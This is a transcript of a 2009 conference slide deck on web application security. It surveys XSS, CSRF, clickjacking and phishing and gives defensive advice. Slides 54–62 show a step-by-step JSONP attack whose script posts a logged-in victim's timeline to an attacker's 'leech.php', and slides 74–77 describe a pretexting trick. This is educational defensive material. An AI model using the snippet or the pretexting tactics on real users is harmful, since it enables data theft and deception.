Things that go bump on the web - Web Application Security


Published on

My talk at the Web Directions North conference in Denver, Colorado. It covers basic technologies and methodologies of attacks of web applications, what we can do against them and a plea for making interfaces more educational about security than scaring users.

Published in: Education, Technology
1 Comment
No Downloads
Total views
On SlideShare
From Embeds
Number of Embeds
Embeds 0
No embeds

No notes for slide

Things that go bump on the web - Web Application Security

  1. Things that go bump on the web Christian Heilmann | | Web Directions North, Denver, Colorado, February 2009
  2. Disclaimer: The following is a personal presentation and the views do not necessarily reflect those of my employer or the conference organizer! There will be strong language, public exposure (of security issues) and some strong opinions. Viewer discretion is advised.
  3. Hello, I am Chris.
  4. I’m here today to talk to you about web application security.
  5. I’ve seen several security presentations myself.
  6. And they fall into a few categories:
  7. Technical mumbo jumbo that leaves you feeling inadequate and scared.
  8. “Neener Neener, look what I can hack” show-offs.
  9. “Use our systems or you’ll be dead tomorrow.” sales pitches.
  10. I wanted to avoid anything like that.
  11. My intention is not to leave you feeling patronised...
  12. ...confused or scared.
  13. I want to point out several basics of web security...
  14. ...and offer some ideas of how you can prevent the worst and help us make the web safer.
  15. Here’s what I will go through: Close the gates. Clean up your mess. Don’t breed idiots. d sore cen Stay up-to-date. Constant Vigilance, Harry!
  16. Close the Gates!
  17. Here’s a quick roundup of attack technologies and methodologies you should know about.
  18. XSS!
  19. title=XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
  20. XSS means that people can successfully inject something into your sites that shouldn’t be there.
  21. Successfully injecting JavaScript in your site allows me to steal and fake the identity of your users or yourself.
  22. SQL Injection
  23. Always filter SQL statements from your requests!
  24. CSRF!
  25. site_request_forgery
  26. CSRF happens when you have predictable urls to initiate actions – like deleting a form post or transferring money.
  27. This url could then be called in the background from another site – via an image or a form submission in JavaScript.
  28. Clickjacking
  30. Clickjacking is a trick to cover a real interface in an IFRAME with a transparent GIF or Flash movie...
  31. send you to another site or pretend there was a problem and asking for you to log in again.
  32. Isn’t it interesting that the verified by visa security tool makes that look very normal?
  33. Phishing!
  34. Phishing means showing a familiar interface and luring users into entering data.
  35. The only way to prevent this is let the user choose a secret only they know...
  36. the Yahoo sign-in seal.
  37. I approve of this!
  38. XBCR!
  39. E! K A F currency-request
  40. Clean up your mess!
  41. A lot of security problems happen because people leave data behind.
  42. This can be in their HTML.
  43. Comments are not a good tool to turn off sections of the page that shouldn’t be available yet!
  44. Or it can be in JavaScript...
  45. Or on their server:
  46. Or in their browsers.
  47. I built, a small tool to check your twitter follower changes.
  48. And then I got this email (not real size, it had to be resized)
  49. I checked the user name and saw nothing – just a “this user isn’t available”.
  50. What happened?
  51. Apparently this person was logged in and of course that way authenticated to see the updates.
  52. The same thing happens when one of the friends of that person is logged in!
  53. So, this is interesting...
  54. Step 1: Log in yourself
  55. Step 2: Get his list of followers
  56. Step 3: Set the trap
  57. You can get a user’s updates with a simple REST call: user_timeline/codepo8.xml? count=200
  58. <img src=”tuna_funny.jpg” alt=”tee hee hee”> <form method=”post” action=” leech.php”> <input type=”hidden” value=”” name=”muahaha”> </form>
  59. <script> function evilgenius(o){ var m=document.getElementById(‘muahaha’); m.value=o; document.forms[0].submit(); } </script> <script src=” user_timeline/tuna.json? count=200&callback=evilgenius”></script>
  60. ...alternatively use Ajax...
  61. Step 4: Contact random friend of tuna to visit the site.
  62. As they are authenticated the data will be returned without a question and sent to your server.
  63. Learnings: Do not trust browsers, ever! A lock on a screen does not mean protection! You are as protected as the people you deal with.
  64. Which brings me to the next point...
  65. DANGER! I am now going to be a bit daring. I will ask you to question common ways of thinking and considering alternatives.
  66. Don’t breed idiots!
  67. I’m a designer, why should I care about web application security?
  68. Designers help users do the right things in the easiest and most effective manner.
  69. We have the chance to increase usability to stop people repeatedly shooting themselves in the foot.
  70. None of this!
  71. Users should be conditioned not to trust blindly.
  72. Yet we tell them to store their information on computers and give them an option to stay logged in.
  73. Getting information out of people is easy:
  74. Be confident, show (or fake) authority, keep things confusing and give them a wrong sense of urgency.
  75. “Look, your wireless is flaky, I am in the middle of a phone conference and it keeps dropping out. Is there a wired connection in this lounge?”
  76. “Do you have a first class ticket?” “I just asked you where the wired connection is, this is an urgent conference and I need to answer this now!”
  77. = Chris had some hours in the first class lounge!
  78. Why did that work?
  79. People are used to being treated like this.
  80. We also don’t tell users off for using clever passwords like “password” or “happiness”.
  81. Don’t make your end users suffer for your lack of security.
  82. CAPTCHAS solve nothing!
  83. Here’s a challenge for you design and marketing wizards:
  84. How about an interface that makes it fun to change your password every week?
  85. And here’s a challenge for security experts:
  86. Use HUMAN language!
  87. “confused deputy”
  88. “man in the middle attack”
  89. “the password antipattern”
  90. How about “giving your login and password for one system to another system is like writing your pin number on your credit card and asking a stranger to buy something for you!”
  91. Stay up to date!
  92. There is no security in sticking with outdated systems.
  93. Therefore make sure to keep your server, your client software and your operating system up-to-date.
  94. Even if companies offer a way out not to “break the web”.
  95. None of this!
  96. This also applies to your skills.
  97. If you *don’t* want to be the guardian against evil and have *your butt on the line* when things to bump...
  98. with frameworks!
  99. Symfony, Django, Rails all offer out-of-the-box filtering and sanitization.
  100. If there is a vulnerability, it can be fixed by a lot of people and pushed out as an update.
  101. Constant vigilance! Screenshot from Harry Potter and the Goblet of fire, found on some blog but probably courtesy of Warner Brothers
  102. The most important thing for you is to constantly be aware of what your servers are up to.
  103. This *does* include your blog and portfolio!
  104. Any server can be a spam hub or part of an attack network.
  105. Your friends are: Server logs Statistics software
  106. Don’t just look at the numbers
  107. More interesting are “posted forms”
  108. And “page query terms”
  109. Keep up-to-date with what’s happening in web security.
  110. tags/security/
  111. Stay curious to poke at things and find out their flaws and report them!
  112. THANKS! Christian Heilmann Images by,, and from the web. Eye photo: